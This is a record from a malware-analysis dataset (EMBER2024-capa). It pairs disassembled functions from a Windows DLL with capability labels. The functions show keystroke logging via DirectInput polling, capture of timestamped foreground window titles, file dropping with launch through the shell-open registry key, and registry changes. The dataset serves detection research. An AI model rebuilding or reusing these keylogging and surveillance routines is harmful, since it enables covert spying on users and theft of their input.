joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180008af0
Capabilities:
Get disk information

Disassembly:
push rbp
push r12
sub rsp, 0x518
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rbp, rdx
mov r12, rcx
test rdx, rdx
jne 0x180008b1f
xor eax, eax
jmp 0x180008c3b
mov qword [rsp + 0x540], rbx
mov qword [rsp + 0x510], rsi
lea rdx, [rsp + 0x100]
mov ecx, 0x3e8
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x500], r13
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x180008c0d
xor r13d, r13d
mov edi, r13d
cmp word [rsp + 0x100], di
je 0x180008c0d
lea rbx, [rsp + 0x100]
movsxd rax, edi
lea rdx, [0x180031e58]
lea rsi, [rsp + rax*2 + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180008bfc
lea rdx, [0x180031e60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180008bfc
movzx eax, word [rbx]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rsp + 0x22], ax
mov word [rsp + 0x24], r13w
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x180008c19
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsp + 0x30]
mov rcx, r12
movsxd rsi, eax
mov r8, rsi
call fcn.180014334
test eax, eax
je 0x180008c56
add rbx, 8
add edi, 4
cmp word [rbx], r13w
jne 0x180008b76
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov rdi, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x540]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180013370
add rsp, 0x518
pop r12
pop rbp
ret
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [r12 + rsi*2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
jmp 0x180008c1b

Function at 0x180008c80
Capabilities:
Get process image filename

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
mov rdi, rdx
test rdx, rdx
je 0x180008d14
mov word [rdx], ax
mov r8d, ecx
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x260], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180008ce9
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x180008ced
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180008d0c
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.180008af0
mov rcx, rbx
test eax, eax
je 0x180008ce3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180013370
add rsp, 0x240
pop rdi
ret
Function at 0x18000d120
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x230
movzx r13d, dl
call fcn.180013a18
xor edx, edx
mov r8d, 0x230
mov rcx, rax
mov rdi, rax
call fcn.1800161c0
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, str._d_min
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000d1c8
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x40], ebx
call fcn.18000d2d0
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000d275
test r13b, r13b
je 0x18000d275
lea r13d, [r12 + 0x230]
movsxd rcx, r13d
call fcn.180010d44
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x230
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.1800133a0
lea rcx, [rbx + 0x230]
mov r8, r12
mov rdx, rsi
call fcn.1800133a0
cmp dword [rbp + 0x10], 0
jne 0x18000d28d
mov r8d, r13d
mov rdx, rbx
jmp 0x18000d283
cmp dword [rbp + 0x10], ebx
jne 0x18000d28d
mov r8d, 0x230
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.180013354
test rsi, rsi
je 0x18000d2a2
mov rcx, rsi
call fcn.180013f00
test rbx, rbx
je 0x18000d2af
mov rcx, rbx
call fcn.180013f00
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000dac0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x610
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, 0x2d8
call fcn.1800133a0
lea rcx, [rsp + 0x332]
xor ebp, ebp
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], bp
call fcn.1800161c0
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000db53
xor eax, eax
jmp 0x18000dbe9
lea r8d, [rsi - 0x2d8]
lea rdx, [rdi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000db4c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x18000dbb4
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000dbc2
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x18000dbd2
dec eax
jne 0x18000dbe4
xor edx, edx
jmp 0x18000dbd7
mov edx, 5
lea rcx, [rsp + 0x330]
call fcn.18000dc10
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.180013370
mov rbx, qword [rsp + 0x640]
add rsp, 0x610
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000dc10
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.1800161c0
mov edx, 0x2e
mov rcx, rdi
call fcn.180014d8c
mov rbx, rax
test rax, rax
je 0x18000de5d
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.1800161c0
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.180014d8c
mov rcx, rbx
test rax, rax
je 0x18000dcc5
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000dce2
cmp word [rbx + rcx*2], 0x20
je 0x18000dccb
dec rcx
dec eax
test rcx, rcx
jg 0x18000dcb2
jmp 0x18000dce2
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.1800140a8
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000de80
test eax, eax
je 0x18000dd70
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.1800161c0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.1800161c0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.1800161c0
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000de80
test eax, eax
jne 0x18000dd77
xor al, al
jmp 0x18000de55
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x180032178]
lea rcx, [rbp - 0x20]
call fcn.18001453c
test rax, rax
jne 0x18000ddd8
lea rdx, [0x180032180]
lea rcx, [rbp - 0x20]
call fcn.18001453c
test rax, rax
jne 0x18000ddd8
lea rdx, [0x180031ba8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000dde4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.1800161c0
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000de0e
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000de1a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.180013370
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000de80
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.1800161c0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.1800161c0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000df08
or ebx, 0xffffffff
jmp 0x18000e0cb
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000e0cb
cmp eax, 2
jbe 0x18000e080
cmp eax, 3
je 0x18000e033
cmp eax, 4
je 0x18000dfdd
cmp eax, 7
jne 0x18000e0cb
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000e0cb
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000dfd0
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180014e40
mov r9d, 0x208
lea r8, [0x180031ba8]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180014e40
xor edx, edx
mov rcx, rbx
call fcn.1800149e0
lea rbx, [rax + 2]
jmp 0x18000df80
lea rdx, [rsp + 0x260]
jmp 0x18000e0bd
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000e0cb
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180031950]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000e0c6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000e0cb
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000e0c6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000e0cb
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.180013370
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000e100
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x43c], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.Network
lea r12, str.AppEvents
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x43c], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000e1bf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x18000f070
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x18000f0d0
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x18000f0c8
mov eax, dword [r8 + 0x20]
jmp 0x18000f0d0
test dl, dl
jns 0x18000f0d0
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x180040c30]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x18000f247
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x18000f143
mov r9d, dword [rbx]
test r9b, 0x40
je 0x18000f13a
mov eax, dword [r8 + 0x20]
jmp 0x18000f143
test r9b, r9b
jns 0x18000f143
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x18000f201
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x18000f201
test r10, r10
je 0x18000f1f4
bt edx, 0x19
jae 0x18000f1a7
cmp r11, rcx
jne 0x18000f1f4
cmp dword [r8 + 0x38], esi
je 0x18000f187
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x18000f1f4
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x18000f222
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x180040c30]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x18000f1df
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000f26c
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x18000f222
mov eax, dword [rbx]
bt eax, 0x19
jae 0x18000f213
bt edx, 0x19
jae 0x18000f213
or edx, eax
jmp 0x18000f219
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x18000f110
mov ebx, 1
lea rdi, [0x180040c30]
test r10, r10
je 0x18000f2b6
bt edx, 0x19
jae 0x18000f270
cmp r11, rcx
jne 0x18000f2b6
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x18000f2b6
xor eax, eax
jmp 0x18000f2b8
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x18000f2a1
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000f26c
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x180010200
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180010244
cmp qword [0x180042e58], 0
jne 0x180010244
xor eax, eax
lea r8, [0x18000fcb0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180042e58], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180010250
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x18000fcb0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x1800102a0
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rbp, rcx
lea rdx, [0x180042940]
mov ecx, 0x208
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rdx, str.0EC15E8740D861A8BC6CB2F268E0F5A8
lea rcx, [0x180042940]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8, [0x180042940]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180043420], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
lea rcx, [0x180042940]
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180010371
lea rcx, [0x180042940]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180043420]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x180042e68]
lea r8, [0x180031720]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x1800103aa
xor al, al
jmp 0x180010487
mov rcx, qword [0x180042e68]
lea r8, [0x180042e70]
lea rdx, [0x180031740]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x1800103a3
mov rcx, qword [0x180042e70]
lea rdx, [0x180031700]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x1800103a3
mov rcx, qword [0x180042e70]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x1800103a3
mov rcx, qword [0x180042e70]
mov dword [rsp + 0x40], setsockopt
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x1800103a3
mov rcx, qword [0x180042e70]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x1800103a3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, setsockopt
mov dword [0x180043c68], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x18001047b
mov dword [0x18004342c], r12d
cmp ax, 1
jne 0x180010485
mov dword [0x18004342c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180013370
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x1800104b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180043420]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180042940]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180010561
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180043420]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180010570
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180043440]
xor edx, edx
mov r8d, 0x800
call fcn.1800161c0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180043440]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180043438], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.1800161c0
mov r11, qword [0x180043430]
cmp qword [0x180043438], r11
je 0x18001068c
lea rcx, [0x180043440]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18001067e
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180043440]
lea rdx, [0x1800322c0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.1800104b0
lea rcx, [0x180043440]
xor edx, edx
mov r8d, 0x800
call fcn.1800161c0
mov ebx, 1
mov rcx, qword [0x180043438]
mov qword [0x180043430], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180013370
add rsp, 0x870
pop rbx
ret